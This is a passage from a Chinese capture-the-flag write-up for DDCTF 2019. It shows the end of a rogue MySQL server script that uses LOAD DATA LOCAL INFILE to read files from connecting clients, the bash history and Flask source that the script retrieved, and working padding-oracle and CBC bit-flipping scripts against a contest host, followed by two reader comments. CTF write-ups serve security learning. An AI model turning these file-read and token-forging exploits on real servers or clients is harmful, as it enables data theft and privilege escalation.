log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
# daemonize()
asyncore.loop()
12、然后运行,再点击下扫描。可以看到文件读出来了。
13、那么我们就来找找 flag 在哪。来看看管理员的操作记录吧。修改上面恶意服务器的
\x02history -w
history -w
ls
cat ~/.bash_history
ls
ls
pwd
cd /home/dc2-user/ctf_web_2/
ls
cd app/
ls
cd main/
ls
vim views.py
ls
whoami
history
exit
ls
cd ctf_web_
cd ctf_web_1/
ls
history
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
LS
ls
cd ..
ls
cd ctf_web_2/
ls
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
source ctf_web_2/bin/activate
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
pip install supervisor
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
supervisorctl status
ls
cat supervisor.conf
ls
pwd
netstat -tlnp
curl http://127.0.0.1:5000
curl http://127.0.0.1:5050
ls
ps -aux | grep 5000
kill -9 13837
kill -9 18893
kill -9 18962
ls
ps -aux | grep 5000
ps -aux | grep 5000
cd ..
ls
pwd
cd /home/dc2-user/ctf_web_1
ls
cd web_1/
ls
cat web_1.out
ls
pstree -ap|grep gunicorn
kill -9 14070 19310
pstree -ap|grep gunicorn
kill -9 19357
ls
pstree -ap|grep gunicorn
/home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050
/home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050 > web_1.out 2>&1 &
ls
tail web_1.out
tail web_1.out
tail web_1.out
tail web_1.out
tail web_1.out
tail web_1.out
ls
cd ..
ls
cd ..
ls
cd ctf_web_2/
ls
vim app/
ls
cd app/
ls'
ls
cd main/
ls
vim views.py
ls
cd ..
ls
cd ..
ls
tail web_2.out
tail web_2.out
la
ls
cd log/
ls
cat gunicorn.err
tail gunicorn.err
tail gunicorn.err
tail gunicorn.err
tail gunicorn.err
tail gunicorn.log
tail gunicorn.log
tail gunicorn.log
tail gunicorn.log
tail gunicorn.log
tail gunicorn.log
ls
ls
cd ..
ls
tail gunicorn.log
tail gunicorn.log
ls
tail log/gunicorn.log
tail log/gunicorn.log
tail log/gunicorn.log
ls
tail -20 log/gunicorn.log
tail -20 log/gunicorn.log
tail -50 log/gunicorn.
tail -50 log/gunicorn.log
cat log/gunicorn.log
ls
tail -50 log/gunicorn.err
tail -100 log/gunicorn.err
ls
ls
ls
ps -aux | grep 5000
kill -9 18982
kill -9 22189
ps -aux | grep 5000
ps -aux | grep 5000
pwd
ps -aux | grep 5000
netstat -tlnp
curl http://127.0.0.1:5000/index.html
ps -aux | grep 5000
ps -aux | grep supervisor
kill -9 20141
ls
ps -aux | grep supervisor
ps -aux | grep 5000
kill -9 22718
kill -9 22723
kill -9 22736
ps -aux | grep 5000
ls
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps -aux | grep 5000
ls
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
ls
cd ..
ks
ls
cd ctf_web_1/
ls
cd web_1/
ls
tail web_1.out
ls
history
ls
ps aux | grep didi_ctf_web2.py
ps aux | grep didi_ctf_web
ps aux | grep 5000
kill 22836
kill 25892
ps aux | grep 5000
kill -9 22836
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 5000
ls
vi restart.sh
vi restart.sh
cat restart.sh
idi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
idi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ls
cat restart.sh
ps aux | grep 'gunicron' | awk '{print $2}'|xargs kill -9
ps aux | grep 'gunicron' | awk '{print $2}'
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 'gunicron' | awk '{print $2}'
ps aux | grep 'gunicron' | awk '{print $2}'
ps aux | grep 'gunicron'
ps aux | grep 'gunicron'
ps aux
ps aux
ps aux | grep 5000
ps aux | grep 'gunicron'
ps aux | grep gunicron
vi restart.sh
chmod +x restart.sh
ls
./restart.sh
cat restart.sh
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000| awk '{print $2}'|
ps aux | grep 5000| awk '{print $2}'
ps aux | grep 5000| awk '{print $2}'
vi start.sh
vi restart.sh
cat restart.sh
ps aux | grep 5000 | awk '{print $2}'|head -n 1
ps aux | grep 5000
./restart.sh
ps aux | grep 5000
cat restart.sh
ps aux | grep 5000
ps aux | grep 5000
top
ls
ls
ls
cat restart.sh
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
cat restart.sh
ps aux | grep 5000
ls
ps aux | grep 5000
kill -9 26850
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 5000
ps aux | grep 5000
exit
cat restart.sh
ps aux
ps aux | grep 5000
kill -9 27121
ps aux | grep 5000
kill -9 27244
ps aux | grep 5000
kill -9 27270
ps aux | grep 5000
cat restart.sh
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 5000
top
ps aux | grep gun
ls
cd ..
ls
cd ctf_web_
cd ctf_web_1
ls
cd env/
ls
cd ..
ls
cd ..
ls
cd ctf_web_
cd ctf_web_2/
ls
curl 127.0.0.1:5000
ls
cd ctf_web_2/
ls
cd ..
ls
vi web_2.out
tail web_2.out
tail -f web_2.out
ps aux
ps aux | grep super
ps aux | grep su
ps aux | grep curl
ps aux
ps aux | grep 5000
kill -9 27317
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
cat restart.sh
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:5000 > web_2.out 2>&1 &
ls
curl 127.0.0.1:5000
curl 127.0.0.1:5000/index.html#/scan
ps aux | grep 5000
kill -9 27967
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 >> web2.out 2>&1 &
ps aux | grep 5000
curl 127.0.0.1:5000/index.html#/scan
ks
ls
ls
ps aux | grep 5000
kill -9 28042
ps aux | grep 5000
ps aux | grep 5000
kill -9 28047
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 >> web2.out 2>&1 &
ps aux | grep 5000
ls
tail -f web2.out
ls
ls
ll
ls log/
cd log/
ls
tail -f gunicorn.
tail -f gunicorn.log
cat gunicorn.log
cat gunicorn.err
cd ~
ls
pwd
ls
cd ~
cd /home/dc2-user/
ls
cd ctf_web_
cd ctf_web_2/
ls
cd log/
ls
cat gunicorn.log
ls
cd ..
ls
cat supervisor.conf
ls
find . gunicorn
find . -name gunicorn
find . -name guni
find . -name guni*
find . -name *access*
find . -name *guni*
ll
ll
top
ps aux
ps aux | grep gun
ls
ls /
ls
ls
cd app/
ls
cd ..
ls
cat didi_ctf_web2.py
ls
tail web2.out
vi web2.out
vi web2.out
ls
ps aux | grep 5000
kill -9 29481
ps aux | grep 5000
ps aux | grep 5000
kill -9 28151
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
kill -9 29548
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ls
ps aux
ps aux | grep 5050
exit
history
tail -f web_1.out
ps aux | grep 5050
kill -9 21115
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 29905
kill -9 29905
ps aux | grep 29905
history
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050 > web_1.out 2>&1 &
ps aux | grep 29905
ps aux | grep 5005
ps aux | grep 5005
ps aux | grep 5005
ps aux | grep 5050
ps aux | grep 5050
top
htop
yum install htop
htop
ls
tail -f web_1.out
ps aux | grep 5050
ps aux
ps aux | grep guni
ps aux | grep 5050
kill -9 29984
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 127.0.0.1:5050 > web_1.1.out 2>&1
ps aux | grep 5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 127.0.0.1:5050 > web_1.1.out 2>&1 &
ps aux | grep 5050
curl 127.0.0.1:5050
curl 127.0.0.1:5050/index.htm
ps aux | grep 5050
kill -9 30346
ps aux | grep 5050
ps aux | grep 5050
kill -9 30351
ps aux | grep 5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050 >> web_1.2.out 2>&1 &
htop
ls
cd ..
ls
cd ..
ls
cd ctf_web_2/
ls
cat restart.sh
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 50
vi restart.sh
exit
ls
vim web2/app/main/views.py
vim /home/dc2-user/web2
14、根据上面的操作记录,用相同的方法读取 /home/dc2-user/ctf_web_2/app/main/views.py 试试。
\x02# coding=utf-8
from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64
# flag in mysql curl@localhost database:security table:flag
def weak_scan():
agent_port = 8123
result = []
target_ip = request.args.get(\'target_ip\')
target_port = request.args.get(\'target_port\')
if not target_ip or not target_port:
return jsonify({"code": 404, "msg": "\xe5\x8f\x82\xe6\x95\xb0\xe4\xb8\x8d\xe8\x83\xbd\xe4\xb8\xba\xe7\xa9\xba", "data": []})
if not target_port.isdigit():
return jsonify({"code": 404, "msg": "\xe7\xab\xaf\xe5\x8f\xa3\xe5\xbf\x85\xe9\xa1\xbb\xe4\xb8\xba\xe6\x95\xb0\xe5\xad\x97", "data": []})
if not checkip(target_ip):
return jsonify({"code": 404, "msg": "\xe5\xbf\x85\xe9\xa1\xbb\xe8\xbe\x93\xe5\x85\xa5ip", "data": []})
if is_inner_ipaddress(target_ip):
return jsonify({"code": 404, "msg": "ip\xe4\xb8\x8d\xe8\x83\xbd\xe6\x98\xaf\xe5\x86\x85\xe7\xbd\x91ip", "data": []})
tmp_agent_result = get_agent_result(target_ip, agent_port)
if not tmp_agent_result[0] == 1:
\ttem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
return jsonify({"code": 404, "msg": "\xe6\x9c\x8d\xe5\x8a\xa1\xe5\x99\xa8\xe6\x9c\xaa\xe5\xbc\x80\xe5\x90\xafmysql", "data": result})
tmp_result =mysql_scan(target_ip, target_port)
if not tmp_result[\'Flag\'] == 1:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
return jsonify({"code": 0, "msg": "\xe6\x9c\xaa\xe6\x89\xab\xe6\x8f\x8f\xe5\x87\xba\xe5\xbc\xb1\xe5\x8f\xa3\xe4\xbb\xa4", "data": []})
else:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
result.append(tmp_result)
return jsonify({"code": 0, "msg": "\xe6\x9c\x8d\xe5\x8a\xa1\xe5\x99\xa8\xe5\xad\x98\xe5\x9c\xa8\xe5\xbc\xb1\xe5\x8f\xa3\xe4\xbb\xa4", "data": result})
def checkip(ip):
p = re.compile(\'^((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$\')
if p.match(ip):
return True
else:
return False
def curl(url):
tmp = Popen([\'curl\', url, \'-L\', \'-o\', \'content.log\'], stdout=PIPE)
tmp.wait()
result = tmp.stdout.readlines()
return result
def get_agent_result(ip, port):
str_port = str(port)
url = \'http://\'+ip + \':\' + str_port
curl(url)
if not os.path.exists(\'content.log\'):
return (0, \'\xe6\x9c\xaa\xe5\xbc\x80\xe5\x90\xafagent\')
with open(\'content.log\') as f1:
tmp_list = f1.readlines()
response = \'\'.join(tmp_list)
os.remove(\'content.log\')
if not \'mysqld\' in response:
return (0, response)
else:
return (1, response)
def ip2long(ip_addr):
return unpack("!L", inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
return ip2long(\'127.0.0.0\') >> 24 == ip >> 24 or \\
ip2long(\'10.0.0.0\') >> 24 == ip >> 24 or \\
ip2long(\'172.16.0.0\') >> 20 == ip >> 20 or \\
ip2long(\'192.168.0.0\') >> 16 == ip >> 16
def mysql_scan(ip, port):
port = int(port)
weak_user = [\'root\', \'admin\', \'mysql\']
weak_pass = [\'\', \'mysql\', \'root\', \'admin\', \'test\']
Flag = 0
for user in weak_user:
for pass_wd in weak_pass:
if mysql_login(ip,port, user, pass_wd):
Flag = 1
tmp_dic = {\'weak_user\': user, \'weak_passwd\': pass_wd, \'Flag\': Flag}
return tmp_dic
else:
tmp_dic = {\'weak_user\': \'\', \'weak_passwd\': \'\', \'Flag\': Flag}
return tmp_dic
def mysql_login(host, port, username, password):
\'\'\'mysql login check\'\'\'
try:
conn = MySQLdb.connect(
host=host,
user=username,
passwd=password,
port=port,
connect_timeout=1,
)
print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info")
conn.close()
return True
except MySQLdb.Error, e:
print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error")
return False
15、看到 “flag in
16、查找结果,Flag 到手~
八、再来1杯Java(320分)
靶机:http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/
知识点(可能):Pad Oracle, CBC 翻转攻击,JRMP攻击
步骤:暂时无解
1、访问靶机。
2、Cookie 里获得一个 token。
3、判定是 Pad Oracle 解密。
4、来整个脚本解密试试。
import requests
import base64
url = 'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info'
N = 16
token = ''
get = ""
cipher = base64.b64decode("UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF")[16:][16:]
def xor(a, b):
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
for i in range(1, N + 1):
for j in range(0, 256):
token = 'PadOracle:iv/cbc'
padding = xor(get, chr(i) * (i - 1))
c = chr(0) * (16 - i) + chr(j) + padding + cipher
print(c.encode('hex'))
print(len(token + c))
token = base64.b64encode(token + c)
print(token)
header = {'Cookie': "token=" + token}
res = requests.get(url, headers=header)
data = res.content
print(data)
if 'decrypt err~' not in data:
get = chr(j ^ i) + get
break
plain = xor(get,base64.b64decode("UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF")[16:][:16])
print(plain)
5、解密之后如下
6、然后写个 Python 脚本来搞翻转攻击,由于拿不到解密之后的密文,所以我们只能控制 iv 来修改第一块的内容,也就是解密之后内容变成 {“roleAdmin”:1,”dmin”:false}
import base64
import requests
url = 'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info'
cipher = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'
cipher_o = base64.b64decode(cipher)
iv = cipher_o[:16]
cipher = cipher_o[16:32] # {"id":100,"roleA
cipher2 = cipher_o[32:] # dmin":false}
iv_array = bytearray(iv)
iv_array[2] = iv_array[2] ^ ord('i') ^ ord('r')
iv_array[3] = iv_array[3] ^ ord('d') ^ ord('o')
iv_array[4] = iv_array[4] ^ ord('"') ^ ord('l')
iv_array[5] = iv_array[5] ^ ord(':') ^ ord('e')
iv_array[6] = iv_array[6] ^ ord('1') ^ ord('A')
iv_array[7] = iv_array[7] ^ ord('0') ^ ord('d')
iv_array[8] = iv_array[8] ^ ord('0') ^ ord('m')
iv_array[9] = iv_array[9] ^ ord(',') ^ ord('i')
iv_array[10] = iv_array[10] ^ ord('"') ^ ord('n')
iv_array[11] = iv_array[11] ^ ord('r') ^ ord('"')
iv_array[12] = iv_array[12] ^ ord('o') ^ ord(':')
iv_array[13] = iv_array[13] ^ ord('l') ^ ord('1')
iv_array[14] = iv_array[14] ^ ord('e') ^ ord(',')
iv_array[15] = iv_array[15] ^ ord('A') ^ ord('"')
iv = bytes(iv_array)
header = {'Cookie': "token=" + base64.b64encode(iv + cipher + cipher2)}
res = requests.get(url, headers=header)
print(res.text)
print(header)
7、置 cookie,再打开看看。
8、下载下来,是这么一个文件。
Try to hack~
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~
2. You can not exec commands~
2 个评论
Pdsdt
膜了老哥,真学到不少,dd后来就没做了,今晚上看看真学到不少东西
glzjin
老哥来了呀~DD的时间长让我有时间慢慢看了:)